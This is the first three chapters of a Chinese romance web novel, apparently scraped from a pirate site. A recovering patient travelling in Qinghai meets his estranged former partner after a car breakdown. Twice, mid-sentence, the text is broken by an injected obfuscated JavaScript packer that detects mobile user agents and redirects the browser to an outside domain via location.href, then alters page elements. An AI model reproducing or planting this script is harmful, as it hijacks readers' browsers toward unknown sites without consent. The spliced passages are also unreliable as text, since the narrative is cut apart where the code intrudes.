《逾期解冻指南》 1. 去大西北 2025.09.12晋江文学城独家发表 文/一杯雾里 延桐飞往西宁的航班上。 三个半小时的航程,靳越寒勉强睡了一个钟。 引擎的低吼从混沌的背景音中逐渐清晰,像持续的白噪音海浪。周围压低的人声断断续续,偶尔还穿插着餐具碰撞的叮当声。 醒来时,靳越寒看着前面的座椅发怔,脑袋又晕又胀,恍惚间以为自己正在出国的航班上。 旁边的人轻拍他的肩膀,小声问:“没事吧,睡起满头是汗,做噩梦了?” 看清路柯的脸,靳越寒才记起自己是在去西宁的航班上。 他们是准备去西北旅游的,不是要出国。 心情放松下来,他说了句没事,接过路柯递上来的纸巾擦去额前的冷汗。 见他唇色发白,一副睡眠严重不足的样子,路柯又说:“要不再睡会儿,看你脸色不太好。” 前方屏幕上的目的地倒计时显示还有半个小时,靳越寒摇着头说不用。这几年来他的睡眠质量一直不算好,要么睡不着,要么总是梦见很多人和事。 刚才睡着的那一个小时里,他断断续续梦见了很多东西。其中就有八年前自己出国的场景,还有,一个模糊的白色背影。 倒不是什么噩梦,就是不敢去想起。 路柯把遮光板打开,此时又是午后一点,阳光最是充足。 机舱外绵延的积云堆叠成雪峰和峡谷形状,阳光在凹凸的云面上投下青灰暗影,让人错觉飞机正静止于巨大的棉花糖之上。 靳越寒转过脸看了好一会儿,这样好看的云像是第一次见。 注意到路柯面前摆着的平板,暂停在了某部影片的界面,像是看了一路。 他问:“你没睡?” 路柯把蓝牙耳机取下来,“没,精神着呢,一想到要去旅游了整个人都特别亢奋。” 没想到他这么有精力,靳越寒捏捏自己睡到发麻的手臂,调整好状态让自己清醒一点,好应对接下来的旅程。 路柯问他要不要一起看,这部电影很好看,靳越寒只是微笑着拒绝了,说自己不爱看电影。 见他这样路柯没再多说什么,正要重新戴上耳机,又想起出发前的事。 “对了,段暄让我们到了给他打个电话。我手机没敢开机,等会儿到了你打个给他吧。” “好。” 段暄是靳越寒在国外这几年的主治医生,这次的旅行就是段暄鼓励他去的。 八月份从国外回来时,靳越寒还处于一种极度迷茫、不知所措的状态。 稀里糊涂跟着姑姑回国,不知道自己八年前还住在榆阳,怎么回国后就来到了延桐这座南方城市。 在延桐的陌生感、不适应等等情绪,导致他一度无法认清自己的现状,不知道自己能做什么,不知道自己除了这里还能去哪里。 担心他好不容易得到控制的病情复发,段暄给出的建议是让他先去旅游,从亲近自然开始适应国内的生活。 问起想去的地方时,靳越寒第一个想到的,是西北,那个壮阔又苍茫的地方。 而路柯是段暄在延桐的朋友。 路柯因为公开出柜被家里赶出来,短时间内回不去家。又因为他和靳越寒年纪相仿,人又热情大方,所以段暄才撮合两人一块去旅行,路上好有个照应。 于是在金秋九月,他们踏上了去往西北的路途。 飞机成功落地西宁,九月的青藏高原东北部气温适中,白天只有二十度左右。日照充沛,紫外线辐射强烈,整座城市被铺满刺眼白光。 靳越寒的遮阳帽刚戴上,就被迎面而来的强风吹翻了。 这个地方的风吹起来又干又冷。 路柯从后面抓住,给他把帽子戴上,又给自己掏出副墨镜。 靳越寒打了个电话给段暄,此时正是美国凌晨一点,段暄还没有睡。 听到两人已经到了西宁,他交代了一些注意事项,让他俩注意安全,遇到困难不要逞强,先求助等等。 路柯嫌他啰嗦,应和了几句,“好好好我们知道了,段医生你还是赶紧休息去吧,我俩现在急着租车去玩,就不跟你说了。” 他们今天的计划是先在西宁住一晚,下午去日月山,明天再去往青海湖。 为期半个月的旅程,赶在国庆那个人流高峰期前返程。 机场内T2航站楼到达层有个租车柜台,他们交了八千押金租了辆白色SUV。 路柯本想租辆坦克300来开,却在停车场看到遍地的坦克300时庆幸靳越寒的伟大决定,不然光是找车都得找个把小时。 把行李塞进后备箱时,路柯指着靳越寒那个黑色小行李箱疑惑:“你就带这么点东西来,我们可是要在这玩半个月啊。” “我东西少,没什么好带的。”靳越寒解释道。 路柯无奈笑笑,靳越寒何止东西少,这一路上话也少,但却出乎意料的好相处,不像看起来那样生人勿近。 检查完车子,确认没有问题后靳越寒坐到了副驾驶位上。他没有国内驾照,所以这一路只能辛苦路柯来开。 路柯负责开车,靳越寒则负责食宿以及旅游路线的安排,还把这些打印成了几页A4纸,做了不同颜色的标注。 来之前路柯问他有什么计划,他原本打算自己一个人的话,走到哪算哪,现在多了路柯,就不能这样盲目没计划了。 路柯看见上面整齐又清晰的规划时,冲他竖起了大拇指,佩服他的细致和耐心。 “你不会是当会计的吧,就连花销和风险把控你都写上去了。” 靳越寒摇着头说不是,又觉得没有后半句不好,于是憋了个自由职业上去。 每当有人问起他的工作是什么时,他要么说自己没工作,要么说自己是个自由职业者,这样也免得人家一直好奇追问。 和路柯认识好几天了,一直都是路柯主动搭话,靳越寒担心自己话太少不积极会在不知情的情况下泼了他的冷水,影响了路柯这段旅程的体验感。 于是他试着主动搭话,问:“你是做什么工作的?” “我?”路柯眼睛亮了起来,惊讶靳越寒难得的问话,很快回答:“我现在是干摄影的,但只算业余爱好吧,跟专业的那可比不了。” “不过我堂哥他男朋友是专业摄影师,后备箱那几台相机都是从他那拿的。” 靳越寒点点头,表示自己知道路柯的那几台相机。 这几年他很少跟人接触,回避人际关系,现在跟路柯一起旅行,话也总是说不来太多。 他们的来回对话不超过几句又很快沉默下来,每次靳越寒实在不知道该和路柯再聊些什么,就抿着唇想许久。 幸好的是路柯不介意,他本身就是个话多又不缺乏热情的人,哪怕对方不接他的话他也能自己说个没停。但又能很好把握分寸,保持恰当的社交距离,不会让人有压力。 靳越寒觉得,人际交往真是个神奇的东西。 他就做不到像路柯这样。 他甚至怀疑,段医生让他和路柯一起旅游的目的,是因为路柯这个人话多且充满活力,像个太阳发着光,能够多少照到他身上。 车子开出停车场,阳光依旧灿烂耀眼,照在了每一个来到西宁的旅人身上。 靳越寒被太阳光刺得眯起眼时,听见路柯笑着喊了句:“大西北!我们来了!” 他们这段旅程真的开始了。 从西宁到日月山约一个半小时的车程,车子驶出城区,路过湟源县时,山坡上开始出现五彩经幡,像被风撕碎的彩虹挂在黄土坡上。 沿途的公路上除了有黑色牦牛慢吞吞横穿公路,还能看见远处赫然出现的雪山介于天地之间,美得像一幅油画。 这些都是靳越寒从未见过的风景,当他拉下车窗,西北冷冽的风吹在他脸上传来痛感时,他才真正对于来到西北这件事有了实感。 那么多年,他才终于踏上这个地方。 路柯开车没法拍摄,让靳越寒把后面的相机包打开帮他录个像,好留作纪念。 摄影机调好位置开始拍摄后,靳越寒想自己是不是也应该打开相机拍几张照,和路柯一样对这些美丽的景色和有趣的事物充满向往和活力。 在他思考的过程里,电话不合时宜地响起。 担心自己的声音会录进去影响拍摄,他本想挂断改成微信回复,路柯先开口:“没事,你接,不影响。” 接通电话后,靳越寒刻意压低了声音,因此听起来有些无力。 靳霜以为他是刚去不适应高原气候,急忙说道:“有没有带氧气瓶,先吸点氧,要实在不行就赶紧回来,去三亚或者海南那边玩也行。” 靳越寒还没开口,就听见电话那头的姑父制止姑姑说:“急什么,他这刚去第一天不习惯很正常,多待两天不就习惯了。” “那个越寒啊,不用那么着急回来,想在外面玩多久就玩多久,我跟你姑姑这段时间忙,你自己一个人在外面注意点。” “嗯。”靳越寒小声应了一句。 靳霜叹了口气,说了许多关切的话,靳越寒则一直沉默着。 最后要挂电话时,靳霜突然问了句,“小寒,你是不是还在怨我?所以才要去那么远的地方……” 车内安静了几秒,靳越寒才缓缓吐出两个字:“没有。” 一句没有,堵住了电话那头的人想说的所有话。 电话挂断后,不了解情况的路柯看了靳越寒一眼。 “你家里人挺关心你的嘛,还打电话确认你到了没,不像我家,都当看不见我最好。” “情况不同,你要是没……” 靳越寒顿了一下,才继续说:“要是换做平常,他们也会关心你的。” 路柯嗐了一声,“我现在连机都不敢开,生怕一开机就有无数个电话打进来骂我,躲都躲不赢。” 靳越寒没有再说话,转过脸看向车窗外,牧羊人骑着摩托车挥鞭驱赶羊群的场景。 其实姑姑以前是不会这样的,现在这样关心他,只是因为他出了事,他们愧疚而已。 而他,谢绝这种为了弥补内心愧疚而对他的好。 一路上,路柯看了好几次靳越寒沉默不语的模样。 一个二十多岁的人,却好像经历了太多风霜,还没有等到春天,就已经在冬日里宣告自己不要活过今年冬一样。 察觉到投来的目光,靳越寒对视过去,眼神询问有什么事吗。 他的眼神总是黯淡的,黑色的瞳孔倒映着外面的绿和蓝,透露着那么一丝生机。 就像第一次见到时,过分的忧郁和安静,可又给人一种他在努力活着的感觉。 路柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了,那里还有经幡阵,在垭口就能买五彩经幡,就是刚才一路看到的那些。这里的藏民们认为风吹经幡一次等于诵经一遍,所以很多人都会来这亲手挂经幡许愿祈祷。” 想起刚才一路见到过的经幡,靳越寒不禁想,他亲手挂上的经幡,高原的神佛能听见他的祈祷吗。 在距离日月山还有五公里时,车突然熄了火,被迫靠边停下。 路柯试着打了好几遍火都不行,跑下车检查情况。 靳越寒跟着下了车,两人在车前弯着腰打开车盖检查,却都经验甚浅,检查不出来个所以然来。 靳越寒只好打电话给保险公司免费拖车服务,另外联系了租车行。 “奇了怪了,出发前还检查了一遍,到底哪坏了?” 路柯挠着头苦恼,问靳越寒要不明天再去日月山,“现在没车,走过去的话天都黑了,明天去也可以吧。” 靳越寒觉得都行,点头说好,大不了把所有行程往后推一天,时间上来得及。 他外面穿了件白色冲锋衣,最里面是件保暖毛衣。距离山越近风就越大,衣服被吹得猎猎作响,头发也乱作一团。 在车外待久了,鼻尖和下巴被风吹红,湿漉漉又泛红的眼睛在此刻显得没那么突兀。 他刚把鼻梁上的墨镜取下来,不远处就传来一阵喇叭声。 是一辆黑色越野车,边打双闪边停在了他们车前边。 驾驶位上的年轻男人从车窗处探出头来,摘下墨镜挑眉一笑,好心问道:“车坏了?需要帮忙不?” 他扫了一眼他们的脸,让他们放心,“我们不是什么坏人,单纯路过而已。” 靳越寒看着路柯,发现他眼里透露着犹如见到希望般的喜悦。 很快路柯朝前走近些,点头应道:“需要!非常需要!” “好嘞!” 驾驶位上的男人立刻打开车门下来,还往车上喊了句:“快下来!你得搭把手!” 靳越寒起初有些担心,毕竟是在这人生地不熟的荒野外,遇上的陌生人不能百分百相信。但有人好心愿意帮忙,他也犯不着那么戒备。 没等到传来关车门的声音,那人又冲车上喊了句: “盛屹白,你听见没有?” 这句话顺着冷风钻进靳越寒耳朵里,一瞬间刺破耳膜,电流般流经身体,四肢酥麻又软绵。 他心里打着鼓,不会是同一个人吧,应该只是名字像而已。 几年前也遇到过名字很像的人,但都不是他。 几秒钟后,那辆黑色越野传来了一阵关门声,是有人下车了。 那人应了句:“来了。” 声音清冷低沉,又带着一丝慵懒,却轻而易举划破了靳越寒竭力维持的平静。 他扭动着灌了铅般沉重的脖子,抬起头顺着声源处望去。在看见那道熟悉到不能再熟悉的黑色挺拔身影时,他感到一阵天旋地转。 不是高反。 是心跳太快,头晕目眩。 他张了张嘴,喊不出那个名字。 喉咙灌满了西北高原干燥寒冷的风,充血一般在喉间泛着铁锈味,苦涩又咸腥。 盛屹白? 怎么会在这里遇到他…… 此刻,盛屹白正被伙伴揽住肩膀,两个人在车边低头说着些什么。 路柯正处于有人帮忙的喜悦中,全然不知身边人的异常反应。 靳越寒低着头,尽力让自己看起来正常。 他只喃喃说了句:“找到了。” 路柯疑惑:“什么?” 我来这里的理由。 2. 好久不见 “怎么这么慢才下来,能不能给我点面子?” 徐澈用力揽住盛屹白的脖子往下带,勒他的脖子出气。 盛屹白掰开他的手,整理了下黑色防风衣的领角,淡淡回了句:“后视镜坏了。” “什么?后视镜坏了?” 徐澈刚准备倒回去看看,突然意识到不对劲,这车是盛屹白的,而刚刚开车的是自己。要这后视镜真坏了,盛屹白不得找他算账。 徐澈笑了一声,“蒙谁呢,我刚刚开的时候还好着。” 走到白色SUV车前,他先和路柯问清楚车的情况,接着准备检查一下到底是哪出了问题。 转过身发现盛屹白跟个木头似的杵在原地,眼神也没聚焦在哪个地方。 他丢下扳手,快步移到盛屹白面前:“魂丢了?” 盛屹白扭头的动作有些僵硬,眼尾泛着不明显的暗红,就像风太大眼里进了沙子一样。 “车出什么问题了?” 喉咙也跟进了沙子一样。 徐澈叉着腰:“打不着火,不知道是保险丝还是电瓶出了问题。” 两个人并肩路过白色SUV的两位车主时,盛屹白的头小幅度转了下,原本冷着的一张脸开始松懈,又很快把注意力集中在了修车上。 路柯很是苦恼,“我们两个都很少开车,对这方面不是很了解,麻烦你们了。” 盛屹白点了下头,说我试试,便径直走到了车里。 在盛屹白帮他们检查车的过程里,靳越寒则一直站在车窗外看着。 自从盛屹白下车的那一刻起,他就没放过任何一个细节。 从远景切到近景的过程,他看清盛屹白今天穿了什么颜色的衣服,发现他的头发还是和以前一样黑,皮肤也没太受到紫外线的影响。 以及那张被他抚摸过无数次,熟悉到不能再熟悉的脸,一如既往的高傲冷峻。 盛屹白看起来比以前更成熟稳重了。 莫名的,靳越寒心里感觉空了一块,可又像是堵了块又大又硬的石头。 总之,说不清道不明的难受。 他的目光不像其他人一样落在盛屹白动作的手上,而是单单落在这个人身上。加上注视的目光过于直接和明显,导致路柯很是疑惑。 “你认识他?” 靳越寒茫然的啊了一声,没反应过来。 路柯笑了声,怀疑他是不是被晒傻了。他指了指驾驶位上穿着黑色衣服的盛屹白,“你一直看着他,是不是认识?” “……没,随便看看。” 说完靳越寒又有些后悔,不知道怎样的回答比较合适。 他们现在,是不是装不认识会比较好? 路柯一时间更疑惑了,不认识干嘛一直盯着别人看,靳越寒不像是会对陌生人感到好奇的人。 他观察了下盛屹白,发现他长得是挺帅的,个又高,特别是现在修车的样子。男人的魅力来自于他解决问题的能力,路柯觉得他浑身发着光一样。 后来,路柯借走了靳越寒的手机,去打电话给租车行。 靳越寒在原地站了会儿,踌躇不前。 刚才,盛屹白扫过的那一眼,不知道有没有落在他身上。他像是看见了自己,又像是没有认出来。 靳越寒下意识摸了下自己的脸,心想他认出我了吗,我现在和以前变化大吗,要是没认出来该怎么办,认出来了又该怎么办。 毕竟他们已经分开了八年,太久了。 时间抹去那些伤痛的同时,也会带走一部分的回忆和美好,好的坏的全都一并带走。 要是盛屹白没有认出他,他就不敢跟他说话,更不敢看他了。 抱着这样的想法,靳越寒鼓起勇气想要往前一步,在视线触及到盛屹白的背影以及投射在他身上模糊刺眼的光影时,他猛然刹住了脚。 后背急速升起一阵凉意,这种恐惧和害怕让他感到头皮发麻。 他后知后觉,这一切会不会是幻觉? 在过去长达四年的治疗过程中,他总能看见盛屹白出现在自己周围。但医生告诉他那是幻觉,不是真的,所有他看见的盛屹白都是因为生病产生的幻觉。 可是他已经很久没有发病了,段医生说他的病情得到了很好的控制,痊愈的可能性很高。 高原的气候干燥多风,靳越寒的嘴唇渐渐开始干裂起皮。 他抿了下唇,接着用力闭上眼,再慢慢睁开,那个盛屹白还是好好的在那,还能清楚的听见旁边的人喊他的名字。 “盛屹白,你手抖成这样,没睡醒?” “没睡醒,你来吧。” 盛屹白直接让开位置,要换徐澈来,结果徐澈摊开手掌说自己不会。 “平常没见你手抖,今天怎么了?” 盛屹白没说话,徐澈就问他是不是高反了,还是身体不舒服什么的。 彼时路柯已经回来,往盛屹白手上递了个螺丝刀。 问他:“车上有氧气瓶,要不要吸点氧?” 盛屹白摇头,“没事,就是没睡醒。” 一切都是那么的真实,不只有靳越寒一个人能看到盛屹白。如果这是假的,那么所有人都是假的,包括路柯也是假的。 但路柯不可能是假的,他可是段医生的朋友。 靳越寒踢着脚边晒得发白的碎石子,在这条被烈日烤得炙热的公路上,最后选择相信盛屹白是真的。 相信自己的病没有复发,相信有痊愈的可能。 没一会儿租车行打来了电话,靳越寒把现场的情况告诉他们,沟通换车和保险的事情。 十分钟后,徐澈把扳手什么的工具往工具箱一扔,拍拍手上的灰说:“修不好,不修了,专业的事还得找专业的人来干。” 车子启动时发动机能转但不着车,他们检查后发现是主保险丝出现了故障,但在高原修起来难度高,修了半天也修不好。 路柯的脸上沾了些灰,靳越寒递了张纸巾过去给他擦,还给他们拿了瓶矿泉水。 当他准备把最后一瓶水给盛屹白时,发现他不知道什么时候已经往黑色越野车那走了。 “拖车的什么时候能来?”路柯问道。 靳越寒看了眼时间,“快了,还十多分钟吧。” 路柯点点头,徐澈说了句:“来得还挺快。” 看见靳越寒转身要走,路柯喊住他:“去哪?” “送水。” 靳越寒举起手上的矿泉水,小脸已经被晒到微红,乖乖站好的样子看着像个吉祥物。 徐澈往喉间灌了两口水,笑道:“也好,我喊他他还不一定会过来,麻烦你了。” “没事。” 越接近那辆黑色越野,靳越寒脚步逐渐虚浮,踩在沥青公路上软绵绵的。 他深吸了一口气,绕过车尾走到车门边时,还没来得及抬头,便听见了锁车的声音。 他下意识抬头,恰好撞上往这边走的盛屹白,两人皆是一愣。 不到半米的距离,轻易就能触摸到对方的身体。 靳越寒脑子嗡了一声,直直地盯着面前的人,手里的水都忘了递上去。 心心念念那么多年的人就在面前,他却脑袋空白,不知道说点什么好。 彼时风过卷起干燥的尘土,在风里散成金色的雾,又缓缓沉降,落在不知名位置上。 靳越寒微仰着头,盛屹白则好好地站在他面前,真实到让人不敢触摸。 “靳越寒。” 盛屹白先开口,目光扫过靳越寒的脸。 斟酌片刻,他说了句:“好久不见。” 他的声线极冷,尾音平缓,十分客气又疏远的说了他们重逢后的第一句开场白。 听见盛屹白的声音,靳越寒的手止不住颤抖,心脏跳动的频率快到不真实,每一次撞击胸口时都像困了只疯鸟,扑棱着铁翅,撞击着肋骨。 多么真实又强烈的痛感。 这是真的,幻觉里的盛屹白从来不会和他说话。 靳越寒尽可能让自己看起来正常,“……好久不见。” 好久是多久,八年太笼统,三千零二十八天又太具体。二十七年的人生里,这个人占据了二十年。 “什么时候回国的?” “上个月。” 盛屹白垂着眼,不一会儿又重新抬起,说:“挺好的。” 他的头发长长的,挡住了眼睛,让人看不清眼底的情绪,寒暄起来满是客气。 “你怎么会在——” “水给我的?”盛屹白打断靳越寒,指着他手里的水。 “对……给你的。” 靳越寒胸口起伏着,伸出自己发颤的右手,把水递给他。 松手的瞬间,盛屹白很客气跟他说了句谢谢。 这声客气至极的谢谢险些让靳越寒溃不成军,仿佛他们只是萍水相逢的路人。 两人之间的对话不过尔尔,打断于路柯突然的喊声,是拖车救援到了,让靳越寒过去一趟。 走之前,靳越寒不舍地重新看向盛屹白。 对方只是轻微抬眼,问他:“还有别的事?” 靳越寒摇着头,低声说:“没有。” 就是,很高兴在这里见到你。 分开的这几年里,没有哪一天比今天更开心。 不管盛屹白现在是礼貌客气、陌生冷漠,哪怕是恶言相向也好。 他都无比感激和庆幸,选择在这样一个时候来西北,庆幸车坏的那么凑巧。 庆幸能够在这里重新遇见盛屹白。 - 四点半时,太阳已经西斜。 公路上的温度开始分化,向阳的一面仍旧滚烫,背阴处却已悄悄爬上凉意。 再过一两个小时,太阳就会坠向远山,把整条公路染成血红色。但此刻,它还在半空悬着,冷酷地照耀着这片荒原。 签署完拖车单后,行李全部从车上拿出来,租车行通知他们今晚可以重新去取一辆新车。 靳越寒背上自己的包,顺带把忘记戴的遮阳帽戴上。 他的余光始终注意着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484813|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车内坐着的人。 路柯则从包里翻出手机来,思考要不要开个机,这样方便点。 他们似乎并不担心等会儿该怎么办,不担心延误的时间和旅程怎么去弥补。 跟徐澈和盛屹白道完谢后,路柯很抱歉:“耽误了你们的时间,实在抱歉。” 他和靳越寒交换了一个眼神,紧接着靳越寒从包里掏出两百块钱现金作为修车费给他们。 徐澈把钱推回去,“顺手帮个忙的事,给钱多没意思啊。” 他在前面负责交涉,盛屹白像个旁观者一样坐在车里,好像刚才帮忙修车的人不是他。 这家伙,装酷也该装累了吧。 靳越寒这人倔,执意要给钱,最后徐澈没有办法,“要不这样,你们就请我们吃顿饭,这样行吧?” 靳越寒和路柯互看一眼,随后点头说行,“但我们现在没车,可能要晚上或者明天,不知道行程上凑不凑得到一起……” “我们等会儿要去日月山,你们应该也是吧,走这条路多半都是去那。” “嗯,我们刚好也要去那。” 徐澈往盛屹白那看了一眼,继续说:“我们是第一天来,今晚还要回西宁酒店住一晚,你们呢?” 惊讶于路线高度的重合度,路柯连点了好几下头,“我们也是!这也太巧了吧。” 靳越寒倒没有多惊讶,他在做攻略时发现大部分人的路线都是这样。 “真的假的!”徐澈热情道:“那你俩直接坐我们的车一块走呗,刚好这么顺路。” 听到可以坐他们的车,靳越寒猛然抬起头,视线落在车里的盛屹白身上,就像在问那位的意见如何。 徐澈让他们放心,“我这朋友人好着呢,就是看着高冷了点,顺路载你们一程他肯定乐意。” 路柯觉得完全可以,打车的话还不知道要等到什么时候,趁着今天把日月山这个景点走完还能省点钱。 他和徐澈都是外向的人,没一会儿就聊得热火朝天。 听着他们迅速定下要同行一段,并讨论今晚要去哪吃饭的事情,靳越寒嘴角小幅度的弯起,那是一抹近乎轻快又带点满足的笑。 他现在有种说不上来的激动,比旅行出发前还要激动。 他抬起头,盛屹白刚好看向他,两个人的目光有一瞬间的交汇,又很快只剩下他一个人。 靳越寒捏紧背包带,撇开脸盯着路边的枯草看了又看。 他们的行李全部放进了盛屹白的车里,靳越寒发现后备箱的东西又多又全,有氧气罐、各类药品、日用品还有食物等。 看样子做足了来旅游的准备。 靳越寒没这个经验,手指轻点着路柯的背,说:“我们明天也去买点吃的还有药吧。” 路柯明白他的意思,说:“行,明天起早点去酒店附近逛逛。” 开车的人是徐澈,而坐在副驾驶位的人是盛屹白。 还没上车时,靳越寒看见徐澈正和盛屹白说着什么,应该是在说他们要顺路坐车一起去的事。 紧接着盛屹白往自己这里看了眼,又很快转过脸若无其事的继续睡觉。 他像是变了,又像是没变,还和以前一样。 靳越寒开始感慨命运的神奇,让分别多年的他们重逢。 人生路上总有一种莫名的力量指引你去该去的城市,见该见的人。 所以他选择在今天来了西北,于是见到了盛屹白。 二零一九年夏天还没来之前,他曾经和盛屹白说好要一起来这。 时隔八年,他在踏上这段旅程时,不曾想真的会遇到他。 路柯先坐了左边的位置,靳越寒只好坐右边,他打开车门坐在了盛屹白后面,只能看见他半个后脑勺。 “这后视镜没坏啊。”徐澈检查完左边的,又让盛屹白开窗给他看右边的。 靳越寒看着那颗原本离自己很近的后脑勺逐渐变远,紧接着盛屹白开口。 “没坏,弄错了。” 靳越寒扭头发现那后视镜格外开阔,大车就是跟他们小车不同,连后视镜都不是同一个档次的。 下一秒后视镜里赫然出现半张立体的脸,靳越寒呼吸一滞,连带着眨了好几下眼。 他们只对视片刻,又匆匆分开,一个无关紧要的小插曲。 四个人认的都不全,鉴于还没有正式认识一下,徐澈先开了个头。 他朝他们伸出手,笑容友善:“刚才忘记自我介绍了,我叫徐澈,这位是盛屹白。” 路柯先跟他握了手:“路柯。” 靳越寒点了下头,轻轻一握:“靳越寒。” 徐澈觉得这名字有些耳熟,好像在哪里听过,但又没见过靳越寒。 轮到盛屹白时,他简单和路柯握了下手,礼貌又客气。 靳越寒有些紧张,把手心在裤子上擦了擦。当他准备好把手伸过去时,盛屹白只是朝他点头嗯了一声。 手悬在空中抓了把空气握住,靳越寒默默把手揣回兜里。 嗯……没跟我握手。 3. 日月山顶 抵达日月山时,夕阳西沉,暮色初染。 九月的风已带着高原的微寒,长风自祁连支脉呼啸而过,经幡猎猎作响。 下车时,靳越寒被冷风吹得一激灵,没想到这里会这么冷。他刚把外套的拉链拉到顶上,就看见盛屹白下了车。 在车上睡了一路的人此时高挺的鼻梁上戴着墨镜,头上戴着黑色帽子,看不清他什么表情。 山口处立有“日月山”青石碑,东西两侧是全然不同的景致,一边是麦浪梯田如金色波纹,一边是草原苍茫如绿毯星点。 他们一人花五十块钱买了张门票,作势要爬到山顶,感受海拔3520米的高原空气。 路柯从包里拿出相机准备拍几张照,没想到的是徐澈也有相机,两个人的相机是同一个牌子,但配置不同。 两个摄影爱好者在激烈讨论等会儿要在哪个机位拍比较好出片,靳越寒站在前面,恰巧出现在徐澈的取景器里。 快门按下的瞬间,靳越寒刚好抬起脸,被拍了个正着。 徐澈冲他挥了下手:“拍了你一张,不介意吧?” 靳越寒摇头说不介意,他只是没反应过来,站在原地略显局促。 盛屹白站在车头前面,皱着眉头看向还在捣鼓相机的两人。 “再不走,天都黑了。” 徐澈急忙应了句来了,看见盛屹白双手抱于胸前,一身轻快的样子,喊道:“睡一路了你,回的时候你来开车!” “我开就我开。” 说完,盛屹白迈着大长腿,挥手说自己先走,顺着人流往山上走了。 靳越寒左看看还在研究相机的路柯,右看看自顾自往前走的盛屹白,选择不过是一秒钟的事,他跟路柯说自己先上去。 等到路柯抬起头时,发现靳越寒已经不知道跑哪去了。 徐澈说:“没事,应该跟我那朋友一起上去了,他俩看着像能玩到一块儿的。” 路柯啊了一声,盛屹白看起来不像是很好相处的样子,靳越寒怎么像能跟他玩到一块儿。 徐澈拿起自己的CPL偏振器,说:“走,我带你去视野极佳的地方,保证能出片。” 路柯说行,边往山上走边把手机开了机,忽略掉那些横七竖八的消息电话,给靳越寒发了个微信,让他注意安全。 与此同时,靳越寒正走到半山腰日亭,看见路柯发来的微信,回了个好。 又想问他这样开机没事吗,他的家人看起来对他很不满,因为他出柜的事情甚至说要断绝关系,打来的电话经常是半带威胁半带斥责的。 他理解路柯毅然出柜的做法,也知道作为父母的无奈和愤怒。 世界上总是有很多无法两全的事情,总会伤了一方的心。 淡季的人并不是很多,往上走时越发感到一种苍凉感。 日亭内壁画上描绘着禄东赞长安请婚的智谋,有辨马驹母子和寻公主异香等。 时隔多年靳越寒已经想不起来当年课本里的知识,单是这样看总觉得震撼中少了点文化知识的依托。加上亭内人逐渐多起来,他不习惯待在这样人多的地方,干脆走到了外面的草地上。 九月的牧草褪去鲜绿,转为油画般的金铜色,风过处草浪翻滚,犹如大地在呼吸。 西北昼夜温差大,天色越晚,山上的风越大,寒风吹在脸上像被人打了一样疼。 低垂的积云被狂风撕扯,在草坡上投下奔跑的深蓝斑块,光线从云隙炸裂成光束,又瞬间隐去。 一个人走了半个小时,又累又冷。没看到盛屹白,靳越寒不知道该去哪。 登垭口观景台处的人最是多,都是来看倒淌河和青藏公路地理奇观。本以为盛屹白会在那,靳越寒找了一圈发现连个跟他差不多身高的影子都没见着。 不远处有很多成片悬挂的五彩经幡,千万幅经幡沿山脊线铺展,在海拔3520米的风口诵经。每一寸布帛的抽打声都裹挟着经文,像千万僧侣同时诵经的声浪。 靳越寒跟着前面的人一起走进那片经幡织就的天地里,整个人瞬间被震撼裹挟。 空气中弥漫着桑烟、尘土与棉布暴晒后的干燥气息,阳光从西侧刺穿幡阵,将它化作半透明的彩色玻璃,在地上投射流动的光斑。 五彩的幡面在风里翻涌,像天空抖落的彩虹,与外面的蓝天融为一体。风卷着经幡“哗哗”响,像是无数祈福声在耳边打转,震得人心也跟着颤。 靳越寒站在水岸边,低头循着经幡在水中的倒影,去找那真实的幡影。脚下满是刻着经文的石头,皆因这光影变得鲜活。 他的呼吸不自觉轻缓起来,站在中间,像是被装进了一个会发光的彩色漩涡,惊得半晌回不过神来。 周围的游客不断发出惊呼声,惊叹这份神圣和美丽。 风吹幡动,吹动的竟是生命。 原来信仰盛开的模样,能美得让时间都舍不得走。 越来越多的人走进幡阵里拍摄,靳越寒只待了一会儿就离开了那里。 他看见有人买了经幡写心愿悬挂上去,姿态虔诚又坚定。起初在来的路上,他是有想买的打算,但现在觉得不用买了。 站在山上可以看见远方的雪山,披挂彩绸的白色牦牛立于雪山背景前,花二十块钱就能跟它合影。 靳越寒没有拍照的兴趣,对所有事物的震撼也只是瞬间。 他像是一个人剥离在外,与来这里欣赏自然美景的人群格格不入。 早知道就跟紧点盛屹白了。 天边的云忽近忽远,像是近在咫尺一摸就能够着,可一伸手只是白费力气。 没找到盛屹白,靳越寒有些丧气。 他说不上来自己为什么执意想要找到盛屹白,也许就像天上那朵云一样,害怕他只是看着近,其实离自己特别特别远。 也许是改不掉的习惯,看见盛屹白就想跟在他身边,像小时候那样。也许,是这里的一切都太陌生,只有盛屹白是能让他安心的存在。 在一个全然陌生的地方,周遭的一切对你来说都充满着未知和恐惧,而这时出现了一个熟悉的人,你会不会抓住他? 靳越寒想,他一定会毫不犹豫,也要抓住这个人。 但是现在的盛屹白太冷漠了,像是故意避开他,不跟他说话,也不等他。 靳越寒轻叹了口气,觉得盛屹白应该已经回去了。当他站在那朵巨大又金灿的云下,正准备也回去时,突然听见有人在叫他。 第一次以为是幻听,第二次时他猛然转过身,发现盛屹白站在他身后,就这么直直的看着他,也不知道看了多久。 “靳越寒,走了。” 盛屹白又重复了一遍。 靳越寒脑子还没反应过来,脚已经跟着小跑了过去。 “别跑。” 盛屹白出声制止他,说:“这样很危险。” 靳越寒停下来,确认盛屹白不会不等他后,才平复了呼吸慢慢走过去。 “……你去哪了,我没看见你。” 靳越寒侧过脸问,有那么一束阳光打在他的脸上,刺得睁不开眼。 “你找我?” “嗯。” “找我做什么?”盛屹白看着前面的路,半点儿余光都没舍得分给靳越寒。 